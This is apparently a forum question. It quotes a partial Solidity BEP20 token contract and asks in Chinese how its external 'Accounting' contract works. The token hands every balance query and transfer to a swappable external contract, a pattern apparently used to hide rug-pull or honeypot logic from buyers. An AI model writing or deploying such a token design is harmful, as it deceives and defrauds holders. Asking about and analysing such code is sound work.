interface Accounting {
function doTransfer(address caller, address from, address to, uint amount) external returns (bool);
function balanceOf(address who) external view returns (uint256);
}
contract TradersCoin is BEP20 {
using SafeMath for uint256;
address public owner = msg.sender;
string public name = "TradersCoin";
string public symbol = "TRDC";
uint8 public _decimals;
uint public _totalSupply;
mapping (address => mapping (address => uint256)) private allowed;
address private accounting;
constructor() public {
_decimals = 9;
_totalSupply = 1000000 * 10 ** 9;
emit Transfer(address(0), msg.sender, _totalSupply);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function balanceOf(address who) view public returns (uint256) {
return Accounting(accounting).balanceOf(who);
}
function setAccountingAddress(address accountingAddress) public {
require(msg.sender == owner);
accounting = accountingAddress;
}
function renounceOwnership() public {
require(msg.sender == owner);
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function transfer(address to, uint amount) public returns (bool success) {
emit Transfer(msg.sender, to, amount);
return Accounting(accounting).doTransfer(msg.sender, msg.sender, to, amount);
}
function transferFrom(address from, address to, uint amount) public returns (bool success) {
require (amount > 1);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return Accounting(accounting).doTransfer(msg.sender, from, to, amount);
}
}
代码不多,部分代码我隐去了。但是搞不明白这个 Accounting 是从哪来的。 他创建合约的时候再调用 setAccountingAddress ,然后合约里面无论是转账还是查余额,都是由Accounting这玩意完成了,没搞懂里面的原理。